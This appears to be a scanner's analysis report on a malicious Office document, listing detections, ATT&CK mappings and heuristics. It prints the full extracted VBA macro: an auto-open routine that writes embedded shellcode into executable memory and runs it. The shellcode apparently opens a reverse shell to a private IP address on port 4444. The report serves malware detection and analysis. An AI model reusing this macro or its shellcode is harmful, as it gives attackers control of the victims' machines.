MALICIOUS
146
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1204.002 Malicious File
T1608.001 Stage 1: Code Deployment
The file contains VBA macros, including AutoOpen and Workbook_Open, which are commonly used to initiate malicious actions upon opening. The presence of VirtualAlloc API calls and the ClamAV detection as 'Doc.Downloader.Generic' strongly suggest that the macro is designed to download and execute a secondary payload. The embedded URL, while benign, is noted as a potential indicator.
Heuristics 8
-
ClamAV: Doc.Downloader.Generic-6698421-0 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Downloader.Generic-6698421-0
-
Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOCReference to VirtualAlloc API
-
Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXECOLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
End Sub Sub AutoOpen() Auto_Open -
Workbook_Open macro low OLE_VBA_WBOPENWorkbook_Open macroMatched line in script
End Sub Sub Workbook_Open() Auto_Open -
Auto_Open macro low OLE_VBA_AUTOAuto_Open macroMatched line in script
#End If Sub Auto_Open() Dim rjkxhequggdem As Long, jjtqgmemld As Variant, dyibgdlwhpd As Long -
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4461 bytes |
SHA-256: edeb35d6e4827190fe32aa9217d4d7d5e4a6a71e2ea12c0d8b5b0f449e00b06c |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Const nvprrxpqzr = 2
Const efwytbafhw = 1
Const miposoydwg = 0
#If VBA7 Then
Private Declare PtrSafe Function iqixokabvdy Lib "kernel32" Alias "CreateThread" (ByVal fdakzyihkfgu As Long, ByVal zlbuykmroefvcsj As Long, ByVal bsucjazuuign As LongPtr, ccubdvkypdn As Long, ByVal aqfwtusvmx As Long, jsnemelwjmhuddpb As Long) As LongPtr
Private Declare PtrSafe Function yaloegjfza Lib "kernel32" Alias "VirtualAlloc" (ByVal vtczazvbikytm As Long, ByVal vmozcqlrklsqibcxx As Long, ByVal swpkpkymlmbjazutx As Long, ByVal iheajvhnrrmlweokwk As Long) As LongPtr
Private Declare PtrSafe Function neprnxojitprtnkm Lib "kernel32" Alias "RtlMoveMemory" (ByVal fnutbmmincs As LongPtr, ByRef gfchkflabq As Any, ByVal pumqdeag As Long) As LongPtr
#Else
Private Declare Function iqixokabvdy Lib "kernel32" Alias "CreateThread" (ByVal fdakzyihkfgu As Long, ByVal zlbuykmroefvcsj As Long, ByVal bsucjazuuign As Long, ccubdvkypdn As Long, ByVal aqfwtusvmx As Long, jsnemelwjmhuddpb As Long) As Long
Private Declare Function yaloegjfza Lib "kernel32" Alias "VirtualAlloc" (ByVal vtczazvbikytm As Long, ByVal vmozcqlrklsqibcxx As Long, ByVal swpkpkymlmbjazutx As Long, ByVal iheajvhnrrmlweokwk As Long) As Long
Private Declare Function neprnxojitprtnkm Lib "kernel32" Alias "RtlMoveMemory" (ByVal fnutbmmincs As Long, ByRef gfchkflabq As Any, ByVal pumqdeag As Long) As Long
#End If
Sub Auto_Open()
Dim rjkxhequggdem As Long, jjtqgmemld As Variant, dyibgdlwhpd As Long
#If VBA7 Then
Dim ahnlsulixjmxpe As LongPtr, niazlknnznpzlwswu As LongPtr
#Else
Dim ahnlsulixjmxpe As Long, niazlknnznpzlwswu As Long
#End If
jjtqgmemld = Array(232, 130, miposoydwg, 0, miposoydwg, 96, 137, 229, 49, 192, 100, 139, 80, 48, 139, 82, 12, 139, 82, 20, 139, 114, 40, 15, 183, 74, 38, 49, 255, 172, 60, 97, 124, nvprrxpqzr, 44, 32, 193, 207, 13, efwytbafhw, 199, 226, 242, 82, 87, 139, 82, 16, 139, 74, 60, 139, 76, 17, 120, 227, 72, efwytbafhw, 209, 81, 139, 89, 32, efwytbafhw, 211, 139, 73, 24, 227, 58, 73, 139, 52, 139, efwytbafhw, 214, 49, 255, 172, 193, _
207, 13, efwytbafhw, 199, 56, 224, 117, 246, 3, 125, 248, 59, 125, 36, 117, 228, 88, 139, 88, 36, efwytbafhw, 211, 102, 139, 12, 75, 139, 88, 28, efwytbafhw, 211, 139, 4, 139, efwytbafhw, 208, 137, 68, 36, 36, 91, 91, 97, 89, 90, 81, 255, 224, 95, 95, 90, 139, 18, 235, 141, 93, 104, 51, 50, miposoydwg, 0, 104, 119, 115, 50, 95, 84, 104, 76, 119, 38, 7, 137, 232, 255, 208, 184, 144, efwytbafhw, miposoydwg, _
0, 41, 196, 84, 80, 104, 41, 128, 107, miposoydwg, 255, 213, 106, 10, 104, 192, 168, miposoydwg, 5, 104, nvprrxpqzr, miposoydwg, 17, 92, 137, 230, 80, 80, 80, 80, 64, 80, 64, 80, 104, 234, 15, 223, 224, 255, 213, 151, 106, 16, 86, 87, 104, 153, 165, 116, 97, 255, 213, 133, 192, 116, 10, 255, 78, 8, 117, 236, 232, 103, miposoydwg, 0, miposoydwg, 106, miposoydwg, 106, 4, 86, 87, 104, nvprrxpqzr, 217, 200, 95, 255, 213, _
131, 248, miposoydwg, 126, 54, 139, 54, 106, 64, 104, miposoydwg, 16, miposoydwg, 0, 86, 106, miposoydwg, 104, 88, 164, 83, 229, 255, 213, 147, 83, 106, miposoydwg, 86, 83, 87, 104, nvprrxpqzr, 217, 200, 95, 255, 213, 131, 248, miposoydwg, 125, 40, 88, 104, miposoydwg, 64, miposoydwg, 0, 106, miposoydwg, 80, 104, 11, 47, 15, 48, 255, 213, 87, 104, 117, 110, 77, 97, 255, 213, 94, 94, 255, 12, 36, 15, 133, 112, 255, 255, 255, 233, 155, _
255, 255, 255, efwytbafhw, 195, 41, 198, 117, 193, 195, 187, 240, 181, 162, 86, 106, miposoydwg, 83, 255, 213)
ahnlsulixjmxpe = yaloegjfza(miposoydwg, UBound(jjtqgmemld), &H1000, &H40)
For dyibgdlwhpd = LBound(jjtqgmemld) To UBound(jjtqgmemld)
rjkxhequggdem = jjtqgmemld(dyibgdlwhpd)
niazlknnznpzlwswu = neprnxojitprtnkm(ahnlsulixjmxpe + dyibgdlwhpd, rjkxhequggdem, efwytbafhw)
Next dyibgdlwhpd
niazlknnznpzlwswu = iqixokabvdy(miposoydwg, miposoydwg, ahnlsulixjmxpe, miposoydwg, 0, miposoydwg)
End Sub
Sub AutoOpen()
Auto_Open
End Sub
Sub Workbook_Open()
Auto_Open
End Sub
Private Function banfuzculeuv(ByVal lhozwsnrvnga As String) As String
Dim xefvofpecazk As Long
For xefvofpecazk = 1 To Len(lhozwsnrvnga) Step 2
banfuzculeuv = banfuzculeuv & Chr$(Val("&H" & Mid$(lhozwsnrvnga, xefvofpecazk, 2)))
Next xefvofpecazk
End Function
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.